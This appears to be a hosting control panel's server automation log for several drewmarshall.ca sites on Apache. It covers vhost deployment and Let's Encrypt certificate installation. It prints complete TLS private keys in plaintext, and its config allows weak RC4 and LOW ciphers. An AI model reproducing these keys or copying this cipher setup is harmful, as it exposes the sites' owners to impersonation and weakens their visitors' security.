<Directory /var/www/drewmarshall_preacheridol>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/preacheridol_secure_access.log combined
ErrorLog /var/log/apache2/drewmarshall/preacheridol_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-11-10 06:02:03:
PUT: /tmp/pkp573631
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=drewmarshall_preacheridol_ca.conf
TARGET=/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName preacheridol.drewmarshall.ca
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/drewmarshall_preacheridol
<Directory /var/www/drewmarshall_preacheridol>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/preacheridol_access.log combined
ErrorLog /var/log/apache2/drewmarshall/preacheridol_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName preacheridol.drewmarshall.ca
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/dedbbb759062bdb197a5a897ec5601b7.crt
DocumentRoot /var/www/drewmarshall_preacheridol
<Directory /var/www/drewmarshall_preacheridol>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/preacheridol_secure_access.log combined
ErrorLog /var/log/apache2/drewmarshall/preacheridol_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf)= /etc/apache2//etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf= 1'
fi
2025-11-10 06:02:03:
chmod 755 /tmp/pkp573631; /tmp/pkp573631; rm /tmp/pkp573631
2025-11-10 06:02:03:
2025-11-10 06:02:03:
PUT: /tmp/pkp440513
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-11-10 06:02:03:
chmod 755 /tmp/pkp440513; /tmp/pkp440513; rm /tmp/pkp440513
2025-11-10 06:02:03:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-11-10 06:02:03: Establishing a connection
2025-11-10 06:02:04:
PUT: /tmp/pkp808617
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-11-10 06:02:04:
chmod 755 /tmp/pkp808617; /tmp/pkp808617; rm /tmp/pkp808617
2025-11-10 06:02:04:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
alias www.bucketgigs.ca
port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
alias www.dgmarshall.ca
port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
alias www.dgmarshall.com
port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
alias www.drewmarshall.ca
port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
alias www.hillrunfarm.ca
port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
alias www.ineedtosaythis.com
port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
alias sosretreats.ca
alias www.sosretreats.ca
alias www.sosretreatscanada.com
alias sosretreatscanada.ca
alias www.sosretreatscanada.ca
*:443 is a NameVirtualHost
default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
alias www.bucketgigs.ca
port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
alias www.dgmarshall.ca
port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
alias www.dgmarshall.com
port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
alias www.drewmarshall.ca
port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
alias www.hillrunfarm.ca
port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
alias www.ineedtosaythis.com
port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
alias sosretreats.ca
alias www.sosretreats.ca
alias www.sosretreatscanada.com
alias sosretreatscanada.ca
alias www.sosretreatscanada.ca
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-11-10 06:02:04:
PUT: /tmp/pkp823068
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-10 06:02:04:
chmod 755 /tmp/pkp823068; /tmp/pkp823068; rm /tmp/pkp823068
2025-11-10 06:02:04:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf 1308
<VirtualHost *:80>
ServerName preacheridol.drewmarshall.ca
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/drewmarshall_preacheridol
<Directory /var/www/drewmarshall_preacheridol>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/preacheridol_access.log combined
ErrorLog /var/log/apache2/drewmarshall/preacheridol_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName preacheridol.drewmarshall.ca
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/dedbbb759062bdb197a5a897ec5601b7.crt
DocumentRoot /var/www/drewmarshall_preacheridol
<Directory /var/www/drewmarshall_preacheridol>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/preacheridol_secure_access.log combined
ErrorLog /var/log/apache2/drewmarshall/preacheridol_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-11-10 06:02:04:
PUT: /tmp/pkp950524
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/dedbbb759062bdb197a5a897ec5601b7.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-10 06:02:04:
chmod 755 /tmp/pkp950524; /tmp/pkp950524; rm /tmp/pkp950524
2025-11-10 06:02:04:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/dedbbb759062bdb197a5a897ec5601b7.crt 5385
19:92:55:d3:00:75:37:09:e6:ec:07:92:9e:8e:6e:ed
-----BEGIN CERTIFICATE-----
MIIFFTCCA/2gAwIBAgISBjQke0/hB1drBJsVQ2ZTdnB4MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTEwMDUwMzMyWhcNMjYwMjA4MDUwMzMxWjAnMSUwIwYDVQQD
ExxwcmVhY2hlcmlkb2wuZHJld21hcnNoYWxsLmNhMIIBIjANBgkqhkiG9w0BAQEF
AAOCAQ8AMIIBCgKCAQEAyzQDAIaPdCfOeVEBFDwxNClKXVSjCKYMrjHhGVoO3SVZ
E++kpSBGotkyvyodvvIgIg0NrOaPqwODSgqhu/G+cA1REK3+at+mKhUWC90tx4dr
yMjXqBZeocXGuxuzFZzwNjcQCzymjJvnnHszElQqKAXJ1SPuw1atzClVq/pYtGRz
iotdTnGQ2rKpXySAb7lub3qYcxmzLdMBcc8Gf2qxyPbb0F5+/uu3aiKcKpCR4naf
ZwjR3XV7F+N7I9jwiJhTZc6EqNMbcS2pSHeVZyZZGs/xHZ5B9DcY5LYqensZTv8Y
zWBab27xRlRsnAAAB9cX7CwoTsqhHfcLknUSZHciswIDAQABo4ICLTCCAikwDgYD
VR0PAQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNV
HRMBAf8EAjAAMB0GA1UdDgQWBBTFyW2RHoXgx+J94nH806GOKLtkjjAfBgNVHSME
GDAWgBTnq58PLDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYB
BQUHMAKGF2h0dHA6Ly9yMTMuaS5sZW5jci5vcmcvMCcGA1UdEQQgMB6CHHByZWFj
aGVyaWRvbC5kcmV3bWFyc2hhbGwuY2EwEwYDVR0gBAwwCjAIBgZngQwBAgEwLwYD
VR0fBCgwJjAkoCKgIIYeaHR0cDovL3IxMy5jLmxlbmNyLm9yZy8xMjEuY3JsMIIB
BAYKKwYBBAHWeQIEAgSB9QSB8gDwAHYAZBHEbKQS7KeJHKICLgC8q08oB9QeNSer
6v7VA8l9zfAAAAGabFttjwAABAMARzBFAiAosGt3E3fnADJ9VDZVAN2xJHsOxrOk
JMNsPoX+BBf+jgIhAMDjly+Ld+PLA+8fTwB/z10SA+ritW8vZ5KUITtgtMd0AHYA
DleUvPOuqT4zGyyZB7P3kN+bwj1xMiXdIaklrGHFTiEAAAGabFttkAAABAMARzBF
AiEAijo6bL6e6MEswuvgUA6iaeJyFE2PmegPXhTTkhuJBcECIDQ/l3N94IrOX9UF
PPuqtIA0QeVMCFsVVU6X0gVRDgk1MA0GCSqGSIb3DQEBCwUAA4IBAQBc5mGZM6Qe
8Gsv0vBVv8x8wcWbBmUtkKQbs5q2tLRtwekK0s92WcKlK2JiJlB1ofsCJUWO70BG
26UP9AQmyYqZbi3Neg6DhRrT2A8v4uFwUv/9C1KWYAbpROymH8CDIyhRMkuoDsRR
z82whh6rkwCNvNFLMNp49uBpRvxvt0QjK3x8upe8Abo5RddhtiNkgvwhlsnjU7Fq
slq9m/t3hSbLotx0spNKtbe8kDGGWAQxEfCZguYPNO7KnRkYbK1zbDTcK1pgEsVc
c5ez+ds/wGgfGtLeDqak39surlFgoKL5aUQi1vQ+HEH2c7fTdPTPdejW5EQ4g23z
0TFl7PCQA+TX
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDLNAMAho90J855
UQEUPDE0KUpdVKMIpgyuMeEZWg7dJVkT76SlIEai2TK/Kh2+8iAiDQ2s5o+rA4NK
CqG78b5wDVEQrf5q36YqFRYL3S3Hh2vIyNeoFl6hxca7G7MVnPA2NxALPKaMm+ec
ezMSVCooBcnVI+7DVq3MKVWr+li0ZHOKi11OcZDasqlfJIBvuW5vephzGbMt0wFx
zwZ/arHI9tvQXn7+67dqIpwqkJHidp9nCNHddXsX43sj2PCImFNlzoSo0xtxLalI
d5VnJlkaz/EdnkH0Nxjktip6exlO/xjNYFpvbvFGVGycAAAH1xfsLChOyqEd9wuS
dRJkdyKzAgMBAAECggEAJzqHSdawYxA8QBdvSeTE6vj9rj7kqorD7+0ZM7e7Ht5S
8BJXirlMaavcrCMJUw+TPH+goDxyh+VJt0WOK6ZjyWYIvFuavi8m+QDRHME6UUbH
fB+p4n1PD5QK5ZxXWljN1umSY1j2HjcK4561IVi2OrvDVy50ralSLBPewjC2ZzyV
FZGZEZ1sP31vRYC/84HLYc7pSk669nUZge6zU1QUp93TaQRGOc8vvv3xg8Qno7ZZ
KJb8kRa9doWct5FUw6mnDImEKozWcY80Q9XLnDuAQ6fztAdFfLroBdb7m/6+K7Cw
hCKKlGgpkmkpVcN7YPbjlo/5NumYXPYhBWSNB4VlIQKBgQDvt/NpDjgbNaTM9Nej
+oyGvtpAsVpgpOV3EfoBhPedRxDQ8nfXQW5PLGKAx8oGNTzgrnE2RK1fQEp1yZXR
jskjlwo/LLf+995S0d9sClPsIQ5x32/JdI08HqtqB31L2dgIJTAU4BujZdf4IWyD
3ESnRcsMG3pD+WiJqAzlBPMqhQKBgQDZASiIddWgw9tNGXHmfRJhbOrnJoMUmE3v
kE722rwVpD8Ba7T52Q93AiXAio/tC453mZdCuk2Z6iaX0pKDJ305jn4BQSoQcmWj
nVIpzqK+k3LXI7x7fkeXUMk+z4jOdedyAY+PJtza5V4wrST8Ci469clHcVW4Yv0b
THgnTSzJ1wKBgA2PLyKDHmNTnnXFZ6kr0+UPSJMeNQmAakZY6vZJCiSIT4gyHts7
JT0vOockReYh/saKt3alXdUkctHEzEelNvVfZsH6CpJOfPHcUzHuR570o7eHNvCD
OjXrWjDOKaUvtkuHpveXUZjletjbMyMmQ2/ev8R4jWro4aPfsJMHu6VtAoGAYHYP
WnlmuMvXE/KXmulF3mDYGmAYLHN3UWJId5rLuKMGDs+d5uIB6djehzQQvkJA1hFE
F7lQ/XYEKcDEt+A53fflMxGQbTcszwoDl+nuleBdUBzmj86WbEDQ9Ea0fXITq63d
7rhLvFHxCJousoqj+jl/e255uDjoYdYgIvg/TIkCgYA9CqThRnOoYqbKdTEUQc8u
YCE/pq69kAyThpcbasCqeJpqbAiJyhgJ4ctiGVI6x8Wu4lXXG/D9fE8lWWkW4qEg
G+h5y9kpkkde5tLAhTnce+Lf+54B9r3nZmY+4KuFdJjY+uiRr/tV+VEjKGOKUAzu
vkIsJ5raAtDkM4zHXMEHng==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-11-10 06:02:04: Establishing a connection
2025-11-10 06:02:04: Establishing a connection
2025-11-10 06:02:04:
PUT: /tmp/pkp929259
#!/bin/bash
if [ -d "/var/www/drewmarshall_datinggame/.well-known" ]; then
echo 1
else
echo 0
fi
2025-11-10 06:02:04:
chmod 755 /tmp/pkp929259; /tmp/pkp929259; rm /tmp/pkp929259
2025-11-10 06:02:04:
1
2025-11-10 06:02:05: Establishing a connection
2025-11-10 06:02:05:
PUT: /tmp/pkp873865
#!/bin/bash
mkdir -p "/var/www/drewmarshall_datinggame/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_datinggame/.well-known/acme-challenge/"
cat > 5UvsAqWN4h6XLpyl81595_KPOy34IDdEVjSyY3D9hzo <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
5UvsAqWN4h6XLpyl81595_KPOy34IDdEVjSyY3D9hzo.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 5UvsAqWN4h6XLpyl81595_KPOy34IDdEVjSyY3D9hzo
2025-11-10 06:02:05:
chmod 755 /tmp/pkp873865; /tmp/pkp873865; rm /tmp/pkp873865
2025-11-10 06:02:05:
2025-11-10 06:02:15: Establishing a connection
2025-11-10 06:02:15:
PUT: /tmp/pkp158343
#!/bin/bash
mkdir -p "/var/www/drewmarshall_datinggame/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_datinggame/.well-known/acme-challenge/"
rm 5UvsAqWN4h6XLpyl81595_KPOy34IDdEVjSyY3D9hzo
2025-11-10 06:02:15:
chmod 755 /tmp/pkp158343; /tmp/pkp158343; rm /tmp/pkp158343
2025-11-10 06:02:15:
2025-11-10 06:02:15: Establishing a connection
2025-11-10 06:02:15:
PUT: /tmp/pkp906288
#!/bin/bash
temp_file=$(mktemp)
TARGET=23de9e4d8d79bf04b5d6fc34a21a5b07.crt
cat > $temp_file <<'endmsg'
65:25:31:95:1a:17:49:99:3f:74:98:e6:0a:c1:e4:20
-----BEGIN CERTIFICATE-----
MIIFDzCCA/egAwIBAgISBgy3n7JGja9bQZXKnbfHGW7SMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTEwMDUwMzQ0WhcNMjYwMjA4MDUwMzQzWjAlMSMwIQYDVQQD
ExpkYXRpbmdnYW1lLmRyZXdtYXJzaGFsbC5jYTCCASIwDQYJKoZIhvcNAQEBBQAD
ggEPADCCAQoCggEBAL91SXs3+h5RiZJmQG00oIVyJGNEDO/Ut8uLhOhgroo9f+2P
vdiYM8bTRW9C1oHZeKfjaEod/ZG3Z/t280T1It11lGH4y40S/XOnrrZ0AALt+GGq
KWabSFdIBclnhs5HF9bPQAbjzBvGbcacPMiG+r+2e/1gW3elE9pHUKfZKAZLn5Ic
RqNQnsHAJJ4SFNU9Hsd00AwQ3P3LOcizyu9OORuyuIq0zi6KDB0PfZa8hWMtulv2
f49C7SF7wRPhAVmUpp8EodWwA7a2q/Ylw1FiylZ9aUJwZLXxitS8rM7LBjm4DVIU
0M1Bk3J/cS5XpICfTIDiSUvuYV/pM2QqtZ8jqbECAwEAAaOCAikwggIlMA4GA1Ud
DwEB/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0T
AQH/BAIwADAdBgNVHQ4EFgQU7KNi8IBDFfKheDPkznk/TaDyMUowHwYDVR0jBBgw
FoAU56ufDywzoFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUF
BzAChhdodHRwOi8vcjEzLmkubGVuY3Iub3JnLzAlBgNVHREEHjAcghpkYXRpbmdn
YW1lLmRyZXdtYXJzaGFsbC5jYTATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8E
JzAlMCOgIaAfhh1odHRwOi8vcjEzLmMubGVuY3Iub3JnLzgzLmNybDCCAQMGCisG
AQQB1nkCBAIEgfQEgfEA7wB2ABmG1Mcoqm/+ugNveCpNAZGqzi1yMQ+uzl1wQS0l
TMfUAAABmmxbnMQAAAQDAEcwRQIgbagBKBS8FNohmxFqdUfcplnpN/zcQt/o1Bpg
bEIsxg4CIQDEybLwCSDxO6BhIEIF76B+DMx7neaHGsi6lNifQApNjgB1AA5XlLzz
rqk+MxssmQez95Dfm8I9cTIl3SGpJaxhxU4hAAABmmxbnMMAAAQDAEYwRAIgenJQ
CsgPuINkjWZS9KOH+6xl1ef8sJ0wW2ZVyfax988CIECN+IZJUxVK31ePWhcUOFiK
gUQqsyf2MO0/W/tW7/KDMA0GCSqGSIb3DQEBCwUAA4IBAQCJfBzup5Glk4YmEh7L
UsogjA6jxH1KlNBtfXrczttFGr+GnmC5268YwvCZ06d1rmlFJ6mvRtj0lbwodS+u
ATHZm3FTL9SIJ924wrQ3JEy4CFIA9tdBCPo7nbwVK1KgL6/5OxJtslu15HvYcA0Y
kwT+wQNB9EwmIE44GIkqeB4gHzRin1geeQ+DwVDhTF6ant7gs3EctHUNznfRcKfZ
9DuaXi3d1DN2xj7nkeF39i9EvbcriiwJc7aEokGkMYvPE+n+4y26Q8kEHShSDgLi
zoAoCM7t32h9cCAD3lfSfu6//0PhBdQQWUIc9VZWCsXIlIY+4VNnSYo8l/xFBNhh
CrDP
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC/dUl7N/oeUYmS
ZkBtNKCFciRjRAzv1LfLi4ToYK6KPX/tj73YmDPG00VvQtaB2Xin42hKHf2Rt2f7
dvNE9SLddZRh+MuNEv1zp662dAAC7fhhqilmm0hXSAXJZ4bORxfWz0AG48wbxm3G
nDzIhvq/tnv9YFt3pRPaR1Cn2SgGS5+SHEajUJ7BwCSeEhTVPR7HdNAMENz9yznI
s8rvTjkbsriKtM4uigwdD32WvIVjLbpb9n+PQu0he8ET4QFZlKafBKHVsAO2tqv2
JcNRYspWfWlCcGS18YrUvKzOywY5uA1SFNDNQZNyf3EuV6SAn0yA4klL7mFf6TNk
KrWfI6mxAgMBAAECggEBAL4USpy7qWV6XBPt0l7ZVdjGxpuKzzE4RjUd0hkHC6IR
hrWq9LdZ/GWUESZx/Bc0elZsLnkPJ1UI+oIsyT6YBUJK3sMZx7TKuridLJbVucEu
017bGnlVB1AoIB6h2rNm36MTZaSxek3FBe2d5bbMU5wMJzMZ/BVf3cLi9I9/x/3e
VO3FnefE+k4pFFlrzFCznvAf6GjZ7SODCW+Y+u3ipGFpidhwofObsfmOGISxk4be
rZer54OafbFzaxchnIVqj+6/P/qZyoKz+qRHroHWu8AfCW8jNPawNTHRa6S/Wtg8
HDpWBGAcnbjT47sHMmY5o7HJIq6rp81ZANEZ/+GNCkECgYEA4HWAhjeH2k1jGr+q
fAxwUoXTDEI1uabXq6rd6MKupufFY/+PnCNvkzJmcGkwGoR2jebLDgDFOD+yI0lU
e4m2W/lqAnLXfKLAf5kZTnYVchNy37VpNxwtHG3IVBjXLJpUDFdw8Wz0487C4FBh
P53Zp7NXjpOg+cIXzG2IyqSRbZkCgYEA2lykA/Ki/eDgTNwoUJ6HFlw52RA9S/I5
DgmOJ62iXBFFpsh5jdvJxdv49R5+oEaG900FE8h0WFyfgMSZ4LseB5DgTd0Bg1+m
8T8F4/0/j093nK0Kb34aXJ41Y+toMxhqt96vMX5AzfINCl6XHywWfqLlcCRIvI4W
